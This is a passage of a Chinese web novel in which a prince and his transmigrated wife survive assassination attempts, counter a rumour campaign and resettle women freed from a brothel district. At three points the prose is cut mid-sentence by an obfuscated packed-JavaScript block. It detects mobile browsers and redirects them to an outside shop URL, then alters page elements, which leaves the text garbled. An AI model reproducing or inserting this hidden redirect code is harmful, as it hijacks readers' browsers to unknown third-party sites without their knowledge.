吴雨将盒子交给身旁的手下,走到锦书身边掀开衣摆蹲下:“锦书?锦书?” 锦书迟钝地转过头,看向吴雨,忽而释然一笑,手中的簪子落地:“吴大人,是我杀的人,你连我一起抓了吧。” 吴雨眉头皱出一个川字,他犹豫一阵,最后说道:“先把这里的事情结束,再处理你的事情。” 说着,他一把将锦书拉起来:“先去清点楼里的姑娘人数,有没有漏下的。” 锦书沉默地起身,幂篱上也沾了血,看起来颇为可怖。 她虽看起来一直心不在焉,但还是帮吴雨清点了人数,确认没有人偷偷逃走,之后,吴雨派人将锦书送回王府,由秦澈与慕衷情去处置。 毕竟是秦澈和慕衷情带回来的人,吴雨不敢随意定论,更何况,他认为锦书这番行为必定是有原因的,只是自己不如王妃能言善辩,舌灿莲花,怕是未必能问出来。 锦书浑身带血地回到王府时,慕衷情与秦澈都不在府中,管家给她安排了房间和换洗的衣服,可锦书始终坐在凳子上,不开口,也不动。 无法,管家也只能让人先好生看着锦书,别出什么事。 慕衷情天亮后小睡了一会儿,中午和秦澈用过午膳后便又要出门,秦澈得空,也好奇除烟柳巷的事情外,她还要做什么,便跟了去。 这次慕衷情依旧换了男装,在外四处奔走时,裙装始终不太方便。 她根据之前打听到的消息,让秦澈带她去城外的耕地。 出城后的那一路上也有不少小摊贩卖菜或一些吃食和茶水,慕衷情与秦澈骑着马没有作过多停留,直到秦澈在一处田庄外停下。 “这是舟安府最大的一处田庄。”秦澈将马拴在树下,介绍道,“长工、佃户足有上百人,农忙未过,你应该可以问到不少消息。” 慕衷情眺望四周,的确能看到不少人还在田中劳作:“那这处田庄,是谁名下的?” “李昌然,你应当并未听说过,李家是舟安府最大的地主,家中倒是书香世家,有人在朝中当官,根基颇深。”秦澈说道,“他于人情世故一道十分精通,与本地许多权贵关系都不错,对我在明面上也是恭敬的。” 慕衷情点点头,往最近的那片田地走去。 “等等。”秦澈忽然叫住她,“舟安府比奉德县更大,巨贾士族也更多,若你要分地,比查封十座烟柳巷更为困难和危险。” “那就慢慢来嘛,首先我知道自己想做什么,其次你知道我做得并没有错,最后,只有我相信我能做到,这件事才有可能真的做到。”慕衷情笑着拉住秦澈,“走走走,一起,你这个王爷也要多多深入基层了解民生呀。” 秦澈当然知道这是为民着想,无数先贤也都清楚,如何于民有利,可他们总是失败的原因,就是斗不过权力交织庞大的士族们。 “若真遇到迈不过的阻力,那就只有一个办法了。”秦澈低声道。 慕衷情没有回头,但她听到了秦澈的话,悠悠说道:“若能说服的,便拉拢,若非要对着干的,杀了便是。” 然后挂路灯上,慕衷情在心里默默补充。 来到田边,慕衷情十分熟练地脱了鞋,卷起裤腿,秦澈拎着他们两人的两双鞋默默地跟在她身后。 往常调查什么,根本不需要秦澈自己亲自去查,差人去便可,可慕衷情好像喜欢事事亲力亲为,可这样亲自调查,真的能得到什么不同的信息吗? 慕衷情的脚上很快就沾上了泥,她走到最近一个戴着斗笠的农户附近,打招呼道:“你好呀大爷,请问您这这片田,秋冬季是准备种什么作物呀?” 农户抬起头,打量慕衷情和身后的秦澈,目光在秦澈身上停留许久:“这一片种些菜,再远些,种点麦子。” 农户态度冷淡,慕衷情回身仔细观察秦澈,若有所思。 “这样啊,那大爷,您辛辛苦苦种的粮食,除去交税和抵扣租子的,自己还能剩下多少啊?”慕衷情又问道。 农户手上动作不停,轻声叹息道:“能剩下三四成便不错了。” 慕衷情直起身,在原地安静地站了一会儿:“大爷您明天还在这里吗?这附近的农户您都熟悉吗?明日中午,我给大家带些饭食来吧。” 农户弯着腰,都没有看慕衷情一眼,显然是不信的。 “那就这样说好了哈。”慕衷情自顾自地说完,便拉着秦澈往外走。 离开一段距离后,秦澈才问道:“你只问这些?” 慕衷情摇摇头:“今日是问不出什么了,明日再来,你记得明天换件普通些的衣裳,这衣服一看人家就知道你不是普通人家的,戒心很强,要想得到我想要的信息,得先得到他们的信任,我得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13095981|134766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 磨一阵子了。” 秦澈露出一丝茫然,他这是拖累慕衷情了? 慕衷情走到附近的水池旁,简单洗干净脚,坐在河边晒太阳道:“这次是我的疏忽,是我忘了提醒你换衣服,不过没关系,只要真心待他们好,自然能得到他们的真心话,对了,舟安府的学堂有多少,若是办免费学堂和报刊,这钱出得起吗?” “报刊?”秦澈更茫然了,但还是乖乖答道,“我私库并不算多,不过但办免费学堂应当不成问题,城中也有些孤慈院,收留无父无母无亲眷的孤儿,偶尔也会请先生过去教他们读书识字。” “啊,这样吧,我回去列个清单,然后你将清单上有的东西的数量告诉我,我得先了解清楚,还有很多事情要做呢。”慕衷情沉浸在自己的规划之中,毫无负担地给秦澈安排任务。 秦澈失笑:“你似乎要在舟安府做许多大事,可我这个清王却不知道你要做什么。” 慕衷情挠挠头,主要是她的设想有很多,但基本还在起步阶段,于是她保证道:“你放心,等我调查得差不多了,给你列一个计划大纲,你毕竟比我更了解这个社会,如果有问题我们可以再讨论,根据修改好的大纲我再去做完整的报告,就是这时间可能会很长。” “三年还不够吗?”秦澈问道。 “或许够,或许不够,但至少三年的话,可以看到成效。”慕衷情自己也不是非常确定三年能达到什么样的效果,不过她相信,一步一步来,哪怕无法实现所有的蓝图构想,也不会差到哪里去。 这不仅是为了践行一句承诺,更是她向这个莫名成为她归宿的世界的挑战。 既然选择了她,就别怪她闹个天翻地覆了。 这样想着,慕衷情忍不住感叹道:“幸好我当初嫁的是你啊,要是个文官,我得多憋屈啊。” 其实慕衷情是想感慨秦澈手上有兵权,许多事情他愿意参与进来,就会轻松许多。 可这话听在秦澈耳朵里,似乎多了些别的意思。 秦澈蹲下身,将慕衷情的裤子放下来,遮住那一截雪白的小腿。 慕衷情好似完全不在意被人看到,可秦澈总是忍不住在意。 秦澈起身时,眼睛忽然被晃了一下,他几乎不需要反应,立刻拦腰将慕衷情圈到怀中,两人往草地上一滚。 慕衷情完全不知道发生了什么,就在地上滚了好几圈,刚停下来时就看到自己刚刚坐的位置多了几支冷箭,若是刚刚秦澈慢了一步,恐怕此时的她已经成了一个筛子。 慕衷情声音有些发抖,后怕得手心出汗,但她仍然冷静地分析道:“他们要杀的人,是我。” 36. 三十六、 慕衷情迅速回忆来时的路,他们这里离刚刚的那片地不远,但是这么多亩地,人员太过分散,若是回去,刺客怕是根本不会在意那些不会功夫的普通百姓。 而他们出城后又骑了半个多时辰的马,要直接逃回去摆脱追杀,也几乎是不可能的。 最重要的是,刺客在暗,他们在明,根本不知道对方有多少人,武器、实力如何。 “今日烟柳巷刚被查封,他们的动作不可能这么快,想来是奉德县的事情传到了清州,他们担心我又故技重施,夺了他们的田产分给百姓,便趁着我们来到城外行刺杀之事。”两人躲到一棵树后,说话间又是几支箭插入土中,慕衷情加快语速道,“王爷,他们既然选择放箭而不是直接过来杀人,说明一他们离我们有段距离,二他们可能忌惮你的身手,不敢近身,等下我们分开两头跑,若他们都要杀我,王爷便正好观察他们的位置并对付他们,若我猜错,他们要杀的是王爷,那王爷也不必因为我而束手束脚,对吗?” 秦澈用力捏着慕衷情的手臂,这不就是让慕衷情去做诱饵吗?这样的事情,他万万做不出来:“不行,这太冒险了,万一我没来得及阻止他们,你怎么办?” 慕衷情硬生生地把秦澈的手从自己手臂上掰下来:“不要瞻前顾后的了,天下武功唯快不破,王爷,我相信您够快,也相信自己跑得够快,走吧!” 说着,慕衷情直接用力将秦澈往另一个方向推开,而后自己朝反方向跑去:“秦澈,你要是救不了我,你这辈子都过不去!” 放完最后一句狠话刺激秦澈,慕衷情朝箭矢射过来的反方向跑,她虽然不会什么厉害的武功,但她知道想办法拉开距离远离箭矢的射程,比左躲右闪尝试搞个人体描边来得简单。 她只是一个普通人,除了拼尽全力博得一线生机,不能奢求什么主角光环。 见慕衷情跑开,秦澈咬咬牙翻身往另一个方向绕,正如慕衷情所说,那些人的目标是她,而不是秦澈。 或许他们还非常希望秦澈能真的离开,这样杀慕衷情会更方便。 秦澈找了一棵枝叶繁茂却没有很高的树挡住身形,跳到树枝上仔细观察,慕衷情一直在往田庄跑,刺客发现距离渐远之后果然动身追赶。 秦澈屏息凝神,缓缓抽出腰间佩剑,这还是回到清州后,让人新买的佩剑,尚未饮血。 黑衣刺客的身影在林中出现,秦澈却并未立刻动手,他一直按捺着不安与焦急,等待最好的时机。 秦澈用自己的经验判断目视距离,直到确认自己能够一击必中打乱对方的动作时,才蓦然拔剑出鞘,利剑直刺刺客胸膛,将那名刺客钉在了树上。 他跟着现出身形,眨眼间跃至那名断气刺客身前,拔出剑割破另一名的喉咙。 听到身后的打斗声,慕衷情也没敢松一口气,她一路跑回到他们拴马的地方才回头看了一眼,没发现有人追上来,也没看到秦澈。 她仅仅犹豫一瞬,便翻身上马,准备直接跑回城里搬救兵。 如果秦澈无力抵抗,那她留着就是个累赘,如果秦澈能够对付那些人,她也没必要留着让他担心。 就算那些要杀她的人留了后手,路上还会遇到危险,那就当她逃不过这一劫了,好歹不用再给秦澈带来新的麻烦。 所以她选择,回城。 所幸的是,那些人还没有周密到饱和式刺杀的程度,慕衷情一路通畅地回到王府,立刻叫人去城外接应秦澈。 为防止手下人找错方向,她亲自带人再跑了一趟。 “就在那片林子里。”慕衷情带人到了林子外,下马带人往里找寻。 她与手下的人喊着秦澈的名字,很快便得到了回应。 地上的尸体横七竖八地躺着,这一回慕衷情的适应能力强了许多,她跨过那些尸体跑向秦澈,仔细检查了一遍:“你没事吧?没受伤吧?” 秦澈摇摇头:“只是下手重了些,都死了,没有活口能审。” 慕衷情至此,一口气总算松了下来:“这不重要,我们两个都没事最重要。” “嗯。”秦澈应了一声,明明手中握剑,身上染血,语气却十分柔和,“今日之事实在危险,若往后再出门,要多带几个人。” “好,我知道,我不会和自己的安危过不去的。”慕衷情应道。 两人一同回到王府时,已是午后,锦书摘下了幂篱,听闻有人行刺慕衷情和秦澈,便一直守在大堂等消息。 “锦书,你这是发生什么事了?”慕衷情刚刚回来得急,压根没注意到锦书,此时才发现她身上都是血,好家伙出一趟门,怎么身边的人都沾血了? 锦书向慕衷情福身行礼,摇摇头道:“无事,只是我杀了一个人,怕是要辜负王妃救我于水火的好意了。” 慕衷情看向秦澈说道:“王爷您先回屋换身衣裳吧。” 秦澈会意,给她们两人留了单独相处的空间。 “来跟我说说,你杀了什么人?为何要杀人?”慕衷情拉着锦书坐下,血腥味并不好闻,但她没有让锦书去收拾,毕竟衣服容易换,心结难解。 锦书感激又艳羡地看着慕衷情:“从前的轻絮不敢奢望能遇到王妃这样的好的人,十岁那年,妈妈看重我的琵琶,说往后要我以琵琶技艺参加花魁大选,无论是否选中,都要拍卖初夜,我不愿意卖身,她便虐打我,我还是不愿,她便让龟奴……昨夜若非被人带走,怕是还要偷偷用血抹落红。” 锦书自嘲一笑,落下泪来。 慕衷情听懂了她的未尽之语,又震惊又愤怒:“十岁?你是说十岁?” 锦书点头。 慕衷情拍桌而起:“这简直不是人,虽然我并不赞同随意杀人,但我支持你,求助无门时,靠自己手刃仇人并不是什么大错。” 她对于法治的渴求存在于原本的社会,存在于对她自己的要求,但在这个异世界,慕衷情明白,不能只以自己的眼光和要求去对待别人。 平复情绪后,慕衷情又说道:“人是该有些执念的,但是锦书, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13113654|134766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你要分得清,你该痛恨的,不只是毁你清白的龟奴一人。” 锦书眼中含泪,茫然地看着慕衷情。 “他是助纣为虐,为虎作伥,自然该死,但下令的人是谁?在暗地里让花楼发展,诱骗、买卖无辜女子的,又是谁?”慕衷情语重心长道,“锦书,我知道一夜无法真正改变一个人,你并未真正摆脱轻絮这个身份所留下的阴影,所以你只是杀了龟奴,你的未来还长,答应我一件事好不好?” 锦书并不能完全理解慕衷情所说的意思,但她依然应道:“王妃请说,您是我的恩人,您所托之事,锦书必不会拒绝。” “你看你,还是不明白我的意思,虽说我是那个要查封烟柳巷,想要禁止娼妓行业的人,但没有王爷首肯帮助,没有吴雨吴雪,我一个人是不可能成功的。”慕衷情拍拍她的脑袋,“查封烟柳巷后,该审的审,该判的判,但其中的女子如何安置是一个难题,让她们相信我们是真的想要帮她们也很难,所以我需要你,你的身份与经历是最好的证明。” 锦书似懂非懂地点点头。 “我希望你和吴雨他们一起去安排姑娘们后续的安置问题,我们准备改建烟柳巷,这个名字也不要了,我想好了,往后就叫折柳巷,折柳作别,这是你们每一个人与从前作别的地方,而姑娘们都能脱离贱籍,王爷会在那里建免费的学堂,每个人都能读书,想学些谋生手艺的,也会有相应的先生指导,每个姑娘都会堂堂正正地活下去。” 锦书听着慕衷情描绘的未来,竟觉得美好得像一场梦。 她哭得更狠了,只是这一次,不是因为恐惧,也不是因为绝望,而是她真的开始相信,自己能够得到拯救。 慕衷情耐心地等锦书哭完,而后才让人带她下去换一身干净点的衣服。 等到锦书离开后,慕衷情才有空喝一杯水:“出来吧王爷,您这偷听的习惯可真不太好。” “若是不偷听一番,我怎知自己肩上又多了诸多任务。”秦澈带着笑意说道,他的确是换了一身衣服,就是速度太快了点,这能怪他吗? “难道我这个提议不好吗?烟柳巷现在查封了,但不能永远封着吧,咱就把它改建一番,正好又有房屋安置姑娘,又能建学堂,一点都不浪费。”慕衷情得意地说,“我真是个天才。” “你的确聪慧过人,想常人所不能想。”秦澈夸得很是顺口,“还有一件事,也是刚刚你提醒了我,既要禁止娼妓,便不能只禁烟柳巷,明日我便命人张贴告示,烟柳巷改为折柳巷,被迫为娼者,可来舟安府衙,从贱籍中除名,无处可去者,便去折柳巷找官兵安置。” 慕衷情定定地看着秦澈,不知为何,她突然有些感动,吸了吸微酸的鼻子:“王爷,我早就说过,你确实是个好人。” 不过,慕衷情并没有想到,与那张改名除籍的告示一同点燃舟安府舆论的,还有一则忽然兴起的童谣。 “清王妃,狐媚者,生性淫,惑人心,携灾事,降人世,夏引涝,秋引旱,粮无收,灾年连。” 37. 三十七、 童谣传到慕衷情耳朵里的时候,已经是好几天之后。 那日的刺杀事件,因为刺客无一幸存,暂时没有调查出幕后真凶。 但慕衷情不会违背自己的承诺,她还是在第二天就准备好午饭去田间分发,当然,她也听了秦澈的建议,带了几个护卫随行。 一连去了好几天,还让护卫们一起帮忙干活,才终于让那些农夫们放下一些戒心,愿意同她多说几句。 也是在听农夫们聊起近日舟安府中发生的大事时,慕衷情才听到这段童谣。 “胡说八道!这童谣定是有人故意散播污蔑王妃的!”其中一名护卫一听便呵斥道。 慕衷情自己倒是没有太生气,对护卫使眼色,让他们不要暴露身份。 “这可不好说哦。”其中一个农夫神秘兮兮地说道,“我可听说了,那王妃在丰州时,可是杀了不少人,还把人吊死在家门口,让其他人都看着自家人去死,别提多残忍了。” 慕衷情点点头,这事儿好像的确是她干的。 “王妃竟然比王爷还要狠辣吗?果真不是一家人不进一家门啊。”另一人附和道。 “那你们知道王妃为什么要把那人吊死吗?”慕衷情装作十分八卦的模样问。 大家摇摇头,有人猜测道:“许是生性弑杀?王爷可是个大将军,那不知道杀过多少人,王妃恐怕也不是什么善茬。” 慕衷情若有所思地点点头,她没有急着为自己辟谣,而是在了解普通百姓对于这种童谣的想法,他们大部分都不曾读过书,也不知道什么叫封建迷信,现代社会那么多网民都会被谣言牵着鼻子走,更何况他们。 “那你们说会不会有人嫉妒王妃嫁给了王爷,故意传的童谣呢?”慕衷情试探着问。 “这,应该不会吧?”几人面面相觑,对于他们来说,“天意”是很重要的,随意造谣万一惹怒了老天爷可怎么办? 慕衷情托着腮道:“谁知道呢?你们想想,这个童谣是什么时候开始流传的?那时候有没有发生什么大事?” “诶,慕丫头这么一说,好像还真有一件事,当时王爷突然查封了烟柳巷,之后童谣就出现了,难不成其实是有人对王爷不满?” “虽说咱也不懂王爷好端端为何要查封烟柳巷,不过现在想想,好像时间是太巧合了些。” “就是啊,肯定是有人不敢直接得罪王爷,才故意找王妃下手,王妃的名声若是坏了,王爷肯定也要受到牵连。” …… 在慕衷情的引导下,他们很快就得出了自己的新结论。 而慕衷情回到王府后,都来不及换沾着泥的衣服,就去找秦澈。 秦澈正巧备好晚膳,在等慕衷情回来一起吃饭,见她急急忙忙地跑回来,便道:“别着急,先坐下慢慢说,你是不是也听到那首童谣了?” 慕衷情拿起筷子连连点头,不过目光已经落在桌上的菜上:“对啊,连干活的农夫都听说了,这没有幕后推手我是不信的。” “我已让人去查了,只是童谣已传开,光是找到幕后之人还不够,要还你一个清白。”秦澈见慕衷情一直盯着一盘红烧肉吃,便干脆将整盘放到了她面前。 慕衷情看了他一眼,小声说道:“你怎么跟我爸妈一样的……” “你说什么?”秦澈听她好像在嘀咕什么,便问了一句。 慕衷情埋头吃饭:“没什么,那你想好怎么还我清白了吗?” 秦澈说道:“若是只抓传谣的人,或许会让人以为我们做贼心虚,先查谁编撰传播,再将奉德县之事公示说明,同时抛出舟安府也可能要分地的消息,转移所有人的注意力,届时那些人最需要想的便是如何保住自家的地,一些平日里看不清楚的人情往来,也都能看清了。” 慕衷情笑了一声:“你是不是早就看他们不顺眼很久了,正好借着这个机会铲除异己?恩?” 秦澈没有否认:“这样说,不太好听。” “那就,干得漂亮!”慕衷情又舀了些汤泡饭吃,快速解决完一顿饭后起身回房去沐浴。 秦澈在她走后,慢条斯理地吃完饭,在仆人收拾桌子时,每日跟着慕衷情一起去地里护卫照常来汇报这一日发生的事情。 每天慕衷情除了帮他们一起干农活外,都会尽量抽时间找人一起闲话家常,旁敲侧击地了解每个人的家庭情况,比如家中有几口人,分别是什么关系,主要营收来自于什么,村中有没有挣大钱的,靠的是什么方法等等。 一连几日都是如此,也就今天多了个童谣的事情,这与秦澈所猜想的完全不同。 在秦澈看来,慕衷情要查封烟柳巷,要考察了解舟安府的民生情况,大概率也是要尝试分地,可她问的这些,似乎与之无关? 秦澈发现,即使与慕衷情经历了这么多,他还是不够了解她,不过,现在的秦澈已不像最开始那样会百般怀疑,他相信慕衷情,总会给他惊喜。 “既然他们能编童谣,我们也能,你让人去找个书生,将奉德县之事也编一个童谣散播出去,奉德县具体发生了什么可向丰州回来的兄弟们了解。”秦澈下令道。 “是。” 护卫退下后,秦澈才起身离开。 他回到后院时,慕衷情已经沐浴更衣完毕,又像之前那样坐在院子里擦头发。 “这几日锦书在折柳巷做了许多事,你明日要不要去看看?”秦澈走近,问道。 慕衷情手都有些算酸了,这长发实在是麻烦,要不是怕太惊世骇俗,她都想一剪刀剪短:“你是担心我被认出来是那个妖怪王妃吗?” “那日回来时,街上不少人看到过你的样貌,刺杀一事也说明,有人在暗中跟踪调查你,此时谣言四起,正是再次动手的好时机。”秦澈劝说道,“折柳巷的新生本也是你一手促成,去看看那里的变化,也是应该的。” “我知道你是为我好,不过明日那几个护卫还是要去地里,就说我染了风寒,休息几日再过去吧,总不能突然就消失了。”慕衷情蹙眉说道,“至于锦书,还有吴雨吴雪,也的确是好几天不见了。” 一阵夜风吹过,秦澈对慕衷情说道:“回屋吧,小心吹风受凉,那可就真的要染上风寒了。” 慕衷情从善如流:“行吧,不过我现在可以之前身体好多了,尤其这天天早睡早起的,不像你,总喜欢处理事务到半夜。” 秦澈笑道:“你那些奇思妙想的点子,可都是我让人去做的,你倒好,还怨我每日忙碌。” 慕衷情闻言,有些不好意思但又理直气壮地说:“我这是在关心你的身体罢了,不识好人心。” 秦澈无奈笑笑。 一直到现在,他们依然是分开睡的,加上两人都不是特别喜欢下人从头到脚地服侍,因此居然也没有人发现他们并不是真夫妻。 翌日,慕衷情照旧早起在院子里练了八段锦后,才叫婢女进来帮她盘发,此时的秦澈也已经穿戴整齐,准备洗漱。 出门后,慕衷情特地去外头买了些风筝、九连环等一些玩具,准备送给折柳巷的姑娘们,供平日玩乐。 这一次,他们坐马车出行,街道上骑马并不方便,秦澈又不希望太多人看到慕衷情,便选了马车。 慕衷情自然是没意见的。 到达折柳巷时,慕衷情差点在马车上被晃得睡过去,秦澈率先下车,她紧随其后,利落地跳了下来,秦澈刚刚伸出去的手立马缩了回去。 巷子口的牌匾已换了新的,只是里头看起来十分冷清,除了一些巡逻的士兵,几乎看不到人什么在外走动。 “大白天的,怎么都没什么人啊?”慕衷情直接问道。 “我带你去看看。”秦澈说着,迈步带慕衷情往里走。 慕衷情一路走一路观察,原来那些花楼的招牌都已经被拆了,里头的装饰装修都要重新弄过,进度没有那么快,许多地方还封着。 秦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13126269|134766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 澈则一路为她解释道:“时间太紧张,目前只收拾出几座楼,姑娘们大多两三个一间房挤挤,一开始吴雨还担心姑娘们会不满,也的确有几个姑娘想要收拾东西逃跑。” “那你是怎么解决这些问题的?”慕衷情笑着问,既然秦澈和她说起这些,那必然是已经想到办法了。 “很简单,只要让她们相信我们真的想要帮她们就行,我让锦书亲自押着烟柳巷名声最不好的几个鸨母和龟奴到她们面前,学着你曾经做过的那种诉苦大会,让她们将受过的欺负都说出来,吴雨记录下了每个人的罪状,又将作恶最多的几人斩首示众。”秦澈冷笑一声,“那些人,罪有应得。” 慕衷情默默点头,眉间却有一丝忧虑。 秦澈观察到她神情有异,关切问道:“怎么了?在担心什么?” “不是,我在思考一件事,但是这件事,怎么说呢,我觉得对于你来说可能也不太好理解,其实来到这里以后,短短这一两个月经历太多,我自己也有很多的改变,至少在从前,我绝不可能亲手伤人,也不可能轻易去决定别人的生死,但是,但是……” 慕衷情不知道该怎么表达自己关于生命的重视与漠视之间的拉扯,她一直坚持去做自己想要的事,哪怕看起来如此惊世骇俗,但心中也时常害怕,自己终会被这个社会同化,忘记平等、忘记尊重。 “但是你从未有过害人之心,这便够了。”秦澈安慰道,“要论起来,我身上背负的人命可比你多,可我知道,有时不杀人,便护不住想护之人。” 慕衷情叹气:“我知道,我只是害怕自己会忘记初心。” 秦澈摇摇头,在一座两层的楼阁前停住:“你不会的,虽然我们相识时日不长,但我相信你不会。” 慕衷情看着他认真的模样,一时不知该说什么,便抬头念匾额上的字:“折柳阁,你们这命名倒是省心,直接用我的想法。” “这不是我们定的,是锦书与姑娘们定的,不过她们还有一件事,需要你来定。”秦澈在慕衷情疑惑的目光中伸手推开门。 那熏人的香气早已消散,淡淡的檀香传了出来,秦澈做了一个请的姿势,慕衷情便率先进门。 大堂里那些柔曼轻纱都已经不见,取而代之的许多雅致的书画,一张张整齐的书桌上放着笔墨纸砚,两旁还有些琵琶、笛箫等乐器,但并无一丝奢靡之感,反而看起来甚是文雅。 慕衷情不自觉地露出笑意。 就在这时,楼上的房间都被打开,一个又一个慕衷情并不认识的姑娘先后走了出来,像许许多多普通的女子一般福身行礼:“参见王爷王妃。” 锦书从楼梯上走下来,双手捧着几张纸走到慕衷情面前:“前几日,姑娘都挑了些自己的字和诗句,想要请王妃为她们赐名。” 姑娘们适时地异口同声道:“请王妃赐名。” 慕衷情看向秦澈,眨了眨眼。 秦澈目光中透着鼓励:“名字代表了一个人的身份与经历,前两日我来时,她们便说想像锦书一样,换一个名字,换一种人生,我思前想后,唯有你是最适合的人,来为她们挑一个新的名字。” 慕衷情瘪瘪嘴:“我并没有这么厉害。” 锦书拉着慕衷情坐下,将那些纸张放到桌上,而后她向楼上招招手,几个姑娘们便端着一盘盘点心走了下来。 锦书笑着解释道:“这也是姐妹们的一点心意,都是大家亲自做的,从前做给客人,如今,只给想给的人。” 慕衷情突然有些无措,她其实并不擅长接受善意和谢意,下意识的,她看向了身旁的秦澈。 秦澈犹豫地抬起手,轻轻地拍拍她的后脑。 就在这时,异变骤生,一个女子从袖中抽出一把匕首直刺慕衷情的喉咙。 距离太近,慕衷情根本来不及闪躲,只凭本能往后一闪。 锋刃顺着她的脸颊划过,在脸上破开了一道口子,鲜血瞬时流了下来。 38. 三十八、 千钧一发之际,一双手出现在慕衷情的眼前,秦澈直接折了那握着匕首的手,咔嚓一声,在寂静的楼中显得格外清晰。 其他的姑娘们大多都是见过风浪的,虽被这意外吓了一跳,却没有人惊叫出声,只是在反应过来后纷纷不敢置信地看着疼得跪在地上的女子。 女子面容扭曲,疼痛与仇视在脸上交织,生生毁了一副好容貌。 秦澈脸色阴沉,眉头紧锁:“你是谁?为何刺杀王妃?!” 锦书回过神来后,立刻拿出帕子让慕衷情按在脸上止血,而后立刻跪下说道:“秉王爷,她是之前春情馆的丹桂,这几日表现一直很好,擅长茶艺和厨艺,所以今日才被大家选中做点心,至于为何要伤害王妃,锦书也不知晓。” 慕衷情脸上有些疼,但听到锦书这一番逻辑清晰的汇报,忽然理解了“士别三日当刮目相看”的意思。 “这不关你的事,起来吧。”慕衷情一手捂着脸,一手将锦书扶起。 秦澈压下怒气道:“来人!” 门外立刻冲进来好几个士兵,慕衷情都没注意到他们什么时候守在外头的。 “把人押下去先关起来,立刻去找个大夫来。”秦澈下令道,“锦书,这里先交给你,我先带衷情回王府看伤。” “王爷放心。”锦书看向楼上的姑娘,姑娘们虽神色各异,但都对她点了点头。 秦澈想拉慕衷情离开,但刚伸出手又似乎想到了什么,想要收回来。 慕衷情却很快握住他的手,站了起来,小声道:“这儿人多,回去再说吧。” 秦澈感受着手中的温热,抿唇应了一声。 慕衷情躲得快,秦澈也及时制止行凶,因此她脸上的伤本身并不是很严重,只是位置特殊,伤在脸上,不得不让人在意。 回到王府后,大夫很快前来给她诊治,秦澈在屋内陪着,屋外聚了一堆婢女小厮,管家都挤不进去。 在这一群人中,恐怕最淡定的就是慕衷情自己了,她在意的是这伤重不重,会不会影响到她后面几天的安排,但其他人担心的,是会不会留疤,会不会毁容,在他们看来,女子对于自己的容貌都是极为看重的,这的确是事实,可对许多人来说,容貌重要,却并非最重要的。 大夫仔细地替慕衷情上药,说了一堆的忌口,慕衷情百无聊赖地听着,她不挑食,这些倒是无所谓,给她两碗泡饭就着腐乳吃都能津津有味,这还是她以前被大学室友安利的美味。 “这几日要吃得清淡些,每日早晚涂抹两次药膏,伤口不深,保养得当便不会留下疤痕,王爷大可放心。”大夫嘱咐完将一瓶药膏递给秦澈。 秦澈握在手中,转眼却看慕衷情一副发呆的样子,不禁问道:“衷情?又在想什么?丹桂的事情不必挂心,我会查清楚。” 慕衷情摇头:“不是,我是在想我还没帮她们取好名字呢,待会儿我多想几个,你让人带回去,交给她们去挑自己喜欢的吧,还有,今日之事虽不知缘由,但也提醒了我,这几日你让她们住在折柳巷,除了请夫子外,可有让她们做些什么?” 秦澈神情微愠:“没有,个个都好生养着,倒是你,一心想着别人,能不能对自己的伤上点心?” “啊?”慕衷情迟钝地发现秦澈似乎心情不好,她摸了摸自己的脸,“我没事啊,都没有刚开始疼了。” “咳咳,王爷,锦书姑娘求见。”管家适时在外头出声,秦澈转过头的那一刻,婢女小厮们立刻散开,给管家留了进门的通道。 秦澈看到他们就觉得头疼:“如今你们是越来越不懂规矩了。” 管家面不改色地笑答道:“那也是王爷与王妃宽容,大家才自在。” 秦澈从来不觉自己多宽容,但慕衷情的确是,跟在她身边的人,总是会越来越自在,越来越忘了尊卑的规矩。 就连他自己,也是一样。 这就是,她曾说过的平等吗? “让锦书过来吧。”秦澈说道,锦书对于丹桂的情况肯定更为了解,特意来王府,说不定是发现了什么,“其他人该做什么就做什么去。” 下人们赶紧散开,管家顺畅地出门将锦书从院子外带了进来。 “参见王爷王妃。”锦书行礼后便跪在地上说道,“今日王爷与王妃离开后,有一位与丹桂相熟的姐妹讲了丹桂的身世,锦书想着应当告知王爷王妃,便立刻赶了过来,不知王妃的伤严不严重?” 慕衷情刚想安慰一下锦书,让她不要担心,秦澈就抢先说道:“需要小心养护,否则有毁容之危。” 锦书脸色一白,又是愧疚又是害怕,连忙叩头道:“此事锦书亦有过错,未将每一人的身世调查清楚,才致王妃受伤,丹桂原本乃官宦人家女儿,父亲获罪后才入了贱籍,辗转来到舟安,因家破人亡,她始终痛恨将其治罪的慕大人,也就是王妃的父亲。” “原来如此。”慕衷情若有所思地点点头,“我知道了,但这件事是她自己没有想开,不关你的事,不用担心,今日便留在王府用膳吧,待我想一些新的名字,你带回去让姐妹们挑选。” “多谢王妃宽仁。”锦书再次叩首。 